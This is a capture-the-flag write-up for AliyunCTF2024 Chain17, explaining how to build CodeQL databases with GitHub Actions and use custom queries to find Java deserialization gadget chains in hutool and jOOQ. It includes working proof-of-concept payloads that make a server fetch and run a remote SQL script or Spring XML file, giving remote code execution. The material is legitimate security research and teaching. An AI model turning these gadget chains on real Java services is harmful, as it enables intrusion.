Using Github Actions to Generate CodeQL Database -- Taking the Deserialization Chain Mining of AliyunCTF2024 Chain17 as an Example

Background#

After the closure of the lgtm community in 2022, CodeQL can only be built manually locally, and lgtm has been integrated into Github Code Scanning.

You can use github/codeql-action in Github Actions to scan the repository's code with the official queries, and the results will be displayed as Code Scanning Alerts. The official documentation also mentions that custom QL statements can be created. However, after multiple attempts based on the official documentation's configuration, I do not believe that custom queries can be created (sadly).

However, you can combine the actions/upload-artifact action to export the built CodeQL database and then import it locally for local queries.

The generation of the CodeQL database requires correct compilation. Fortunately, GitHub Code Scanning provides us with the ability to automatically identify compilation scripts.

Additionally, Actions for public repositories are free, and private repositories have a free quota. In practice, we can simply fork the official repository.

Problem Background#

The problem consists of two parts, agent and server, both of which are old-fashioned deserialization entry points. The process of the problem will not be repeated here; you can refer to the official WP.

Here’s a brief overview of the approach:

Agent#

Known facts:

Hessian deserialization of Map will call Map.put.
cn.hutool.json.JSONObject#put("foo", AtomicReference) -> AtomicReference#toString; note that AtomicReference is an internal class of JDK, so toString can be called; otherwise, it will call the getter based on the property.
POJONode.toString -> Bean.getObject.
After Bean.getObject returns an object, Jackson will call all getters of the object (based on the getter name).

Therefore, we need to find a chain from getter to RCE and bypass the blacklist. Given the h2 dependency, it is easy to think of the JDBC Connection URL Attack | Su18 (su18.org).

This means we need to find a chain in the hutool library from getter to DriverManager.getConnection.

Server#

Known facts:

XString#toString -> POJONode#toString -> getter.

We need to find a chain from jOOQ library getter to RCE.

Hacking With Github Actions#

Agent#

Cloud Compilation#

Fork the repository dromara/hutool: 🍬A set of tools that keep Java sweet. (github.com).

Select codeql in Actions.

Pasted image 20240327230243

Modify the .github/workflows/codeql.yml.

# For most projects, this workflow file will not need changing; you simply need
# to commit it to your repository.
#
# You may wish to alter this file to override the set of languages analyzed,
# or to provide custom queries or build logic.
#
# ******** NOTE ********
# We have attempted to detect the languages in your repository. Please check
# the `language` matrix defined below to confirm you have the correct set of
# supported CodeQL languages.
#
name: "CodeQL"

on:
  push:
    branches: [ "v5-master" ]
  pull_request:
    branches: [ "v5-master" ]

jobs:
  analyze:
    name: Analyze (${{ matrix.language }})
    runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }}
    timeout-minutes: ${{ (matrix.language == 'swift' && 120) || 360 }}
    permissions:
      security-events: write
      actions: read
      contents: read

    strategy:
      fail-fast: false
      matrix:
        include:
        - language: java-kotlin
          build-mode: none
    steps:
    - name: Checkout repository
      uses: actions/checkout@v4

    - uses: github/codeql-action/init@v3
      with:
        languages: ${{ matrix.language }}
        build-mode: ${{ matrix.build-mode }}

    - if: matrix.build-mode == 'manual'
      run: |
        echo 'If you are using a "manual" build mode for one or more of the' \
          'languages you are analyzing, replace this with the commands to build' \
          'your code, for example:'
        echo '  make bootstrap'
        echo '  make release'
        exit 1

    - name: Perform CodeQL Analysis
      uses: github/codeql-action/analyze@v3
      with:
        category: "/language:${{matrix.language}}"
    - name: Upload CodeQL database as artifact
      uses: actions/upload-artifact@v4
      with:
        name: hutool-code-database
        path: /home/runner/work/_temp/codeql_databases/

After running, you will get the database file.

Pasted image 20240327231539

Exploitation Chain#

After importing codeql, use this ql.

/**
 * @kind path-problem
 */

import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.DataFlow
class Getter extends Method {
  Getter() { this.getName().regexpMatch("get.+") }
}

class Source extends Callable {
  Source() {
    this instanceof Getter and getDeclaringType().getASupertype*() instanceof TypeSerializable
  }
}

class GetConnectionMethod extends Method {
  GetConnectionMethod() {
    this.hasName("getConnection") and
    this.getDeclaringType().hasQualifiedName("java.sql", "DriverManager")
  }
}

class DangerousMethod extends Callable {
  DangerousMethod() { this instanceof GetConnectionMethod }
}

class CallsDangerousMethod extends Callable {
  CallsDangerousMethod() {
    exists(Callable a |
      this.polyCalls(a) and
      a instanceof DangerousMethod
    )
  }
}

query predicate edges(Callable a, Callable b) {
  a.polyCalls(b)
}

from Source source, CallsDangerousMethod sink
where edges+(source, sink)
select source, source, sink, "$@ $@ to $@ $@", source.getDeclaringType(),
  source.getDeclaringType().getName(), source, source.getName(), sink.getDeclaringType(),
  sink.getDeclaringType().getName(), sink, sink.getName()

There may be some false positives, but the sink is accurate.

Pasted image 20240327232614

PooledDSFactory#getDataSource -> PooledConnection#init -> DriverManager.getConnection.

POC#

final String JDBC_URL = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'";  
  
Setting setting = new Setting();  
setting.set("url", JDBC_URL);  
setting.set("initialSize", "1");  
setting.setCharset(null);  
PooledDSFactory factory = new PooledDSFactory(setting);  
  
Bean bean = new Bean();  
bean.setData(ReflectUtils.serialize(factory));  
  
ClassPool classPool = ClassPool.getDefault();  
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");  
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");  
ctClass.removeMethod(ctMethod);  
ctClass.toClass();  
  
POJONode node = new POJONode(bean);  
AtomicReference atomicReference = new AtomicReference<>(node);  
JSONObject json = new JSONObject();  
json.put("1", "2");  
LinkedHashMap map = new LinkedHashMap();  
map.put("1", atomicReference);  
  
ReflectUtils.setFieldValue(json, "raw", map);  
  
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);  
hessian2Output.writeObject(json);  
hessian2Output.close();  
  
byte[] data = byteArrayOutputStream.toByteArray();  
System.out.println(Base64.getEncoder().encodeToString(data));

Server#

The competition stopped here (sadly).

Cloud Compilation#

Similarly, provide codeql.yml, where the JDK version is set.

# For most projects, this workflow file will not need changing; you simply need
# to commit it to your repository.
#
# You may wish to alter this file to override the set of languages analyzed,
# or to provide custom queries or build logic.
#
# ******** NOTE ********
# We have attempted to detect the languages in your repository. Please check
# the `language` matrix defined below to confirm you have the correct set of
# supported CodeQL languages.
#
name: "CodeQL"

on:
  push:
    branches: [ "main" ]
  pull_request:
    branches: [ "main" ]
jobs:
  analyze:
    name: Analyze (${{ matrix.language }})
    runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }}
    timeout-minutes: ${{ (matrix.language == 'swift' && 120) || 360 }}
    permissions:
      security-events: write
      actions: read
      contents: read

    strategy:
      fail-fast: false
      matrix:
        include:
        - language: java-kotlin
          build-mode: autobuild
    steps:
    - name: Checkout repository
      uses: actions/checkout@v4
    - name: Setup Java JDK
      uses: actions/[email protected]
      with:
        java-version: '17'
        distribution: 'oracle'
          
    - name: Initialize CodeQL
      uses: github/codeql-action/init@v3
      with:
        languages: ${{ matrix.language }}
        build-mode: ${{ matrix.build-mode }}

    - if: matrix.build-mode == 'manual'
      run: |
        echo 'If you are using a "manual" build mode for one or more of the' \
          'languages you are analyzing, replace this with the commands to build' \
          'your code, for example:'
        echo '  make bootstrap'
        echo '  make release'
        exit 1
    - name: Perform CodeQL Analysis
      uses: github/codeql-action/analyze@v3
      with:
        category: "/language:${{matrix.language}}"
    - name: Upload CodeQL database as artifact
      uses: actions/upload-artifact@v4
      with:
        name: codeql-database-${{ matrix.language }}
        path: /home/runner/work/_temp/codeql_databases/

Exploitation Chain#

Code search can reveal that ConvertAll#from can call the constructor, and ClassPathXmlApplicationContext can be used.

Local ql query for getter -> from.

/**
 * @kind path-problem
 */

import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.DataFlow

class Getter extends Method {
  Getter() { this.getName().regexpMatch("get.+") 
  and 
  this.getNumberOfParameters() = 0 
  and
  this.isPublic()
  }
}

class Source extends Callable {
  Source() {
    this instanceof Getter and getDeclaringType().getASupertype*() instanceof TypeSerializable
  }
}

class SinkMethod extends Method {
  SinkMethod() {
    this.hasName("from")
    and
    this.getNumberOfParameters() = 2
    and
    this.getDeclaringType().hasName("ConvertAll")
  }
}

class DangerousMethod extends Callable {
  DangerousMethod() { this instanceof SinkMethod }
}

class CallsDangerousMethod extends Callable {
  CallsDangerousMethod() {
    exists(Callable a |
      this.polyCalls(a) and
      a instanceof DangerousMethod
    )
  }
}

query predicate edges(Callable a, Callable b) {
  a.polyCalls(b)
}

from Source source, CallsDangerousMethod sink
where edges+(source, sink)
select source, source, sink, "$@ $@ to $@ $@", source.getDeclaringType(),
  source.getDeclaringType().getName(), source, source.getName(), sink.getDeclaringType(),
  sink.getDeclaringType().getName(), sink, sink.getName()

There are still many false positives.

Pasted image 20240327233957

By observing these classes, the following chain can be constructed:

ConvertedVal{
  name:AbstractName.NO_NAME,
  comment:CommentImpl.NO_COMMENT
  delegate:QualifiedRecordConstant{
    value:"url",
  }
  type:ConvertedDataType{
    binding:ChainedConverterBinding{
      chained:ConvertAll{
        toClass:ClassPathXmlApplicationContext.class,
        toType:Integer.class
      }
    }
    delegate:DefaultDataType{
      utype:String.class
      tType:String.class
    }
  }
}

POC#

final String URL = "http://127.0.0.1:8000/poc.xml";  
  
Object convertAll = ReflectUtils.createWithoutConstructor("org.jooq.impl.Convert$ConvertAll");  
ReflectUtils.setFieldValue(convertAll, "toClass", ClassPathXmlApplicationContext.class);  
ReflectUtils.setFieldValue(convertAll, "toType", Integer.class);  
Object chainedConverterBinding = ReflectUtils.createWithoutConstructor("org.jooq.impl.ChainedConverterBinding");  
ReflectUtils.setFieldValue(chainedConverterBinding, "chained", convertAll);  
Object convertedDataType = ReflectUtils.createWithoutConstructor("org.jooq.impl.ConvertedDataType");  
ReflectUtils.setFieldValue(convertedDataType, "binding", chainedConverterBinding);  
Object defaultDataType = ReflectUtils.createWithoutConstructor("org.jooq.impl.DefaultDataType");  
ReflectUtils.setFieldValue(defaultDataType, "uType", String.class);  
ReflectUtils.setFieldValue(defaultDataType, "tType", String.class);  
ReflectUtils.setFieldValue(convertedDataType, "delegate", defaultDataType);  
Object qualifiedRecordConstant = ReflectUtils.createWithoutConstructor("org.jooq.impl.QualifiedRecordConstant");  
ReflectUtils.setFieldValue(qualifiedRecordConstant, "value", URL);  
Object convertedVal = ReflectUtils.createWithoutConstructor("org.jooq.impl.ConvertedVal");  
ReflectUtils.setFieldValue(convertedVal, "delegate", qualifiedRecordConstant);  
ReflectUtils.setFieldValue(convertedVal, "type", convertedDataType);  
ReflectUtils.setFieldValue(convertedVal, "name", ReflectUtils.newInstance("org.jooq.impl.UnqualifiedName", ""));  
ReflectUtils.setFieldValue(convertedVal, "comment", ReflectUtils.newInstance("org.jooq.impl.CommentImpl", ""));  
  
ClassPool classPool = ClassPool.getDefault();  
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");  
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");  
ctClass.removeMethod(ctMethod);  
ctClass.toClass();  
POJONode node = new POJONode(convertedVal);  
  
XString xString = new XString("");  
HashMap map1 = new HashMap();  
HashMap map2 = new HashMap();  
map1.put("yy", node);  
map1.put("zZ", xString);  
map2.put("yy", xString);  
map2.put("zZ", node);  
  
HashMap gadget = ReflectUtils.deserialize2HashCode(map1, map2);  
  
byte[] poc = ReflectUtils.serialize(gadget);  
ReflectUtils.deserialize(poc);

Postscript#

Supplementary Knowledge#

The official WP provides a gadget for readObject -> toString under JDK17.

EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) ReflectUtil.getFieldValue(undoManager, "edits");
vector.add(pojoNode);
ReflectUtil.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

In the POC provided in this article, I used XString. When writing the POC, there was module isolation, but during deserialization, it was normal. This is also the gadget we used in DubheCTF 2024.

Javolution Problem Writing Notes | H4cking to the Gate . (h4cking2thegate.github.io)

Some voices have expressed dissatisfaction#

I seriously feel that jOOQ is overdesigned, and all classes are written in the same package, with dead code...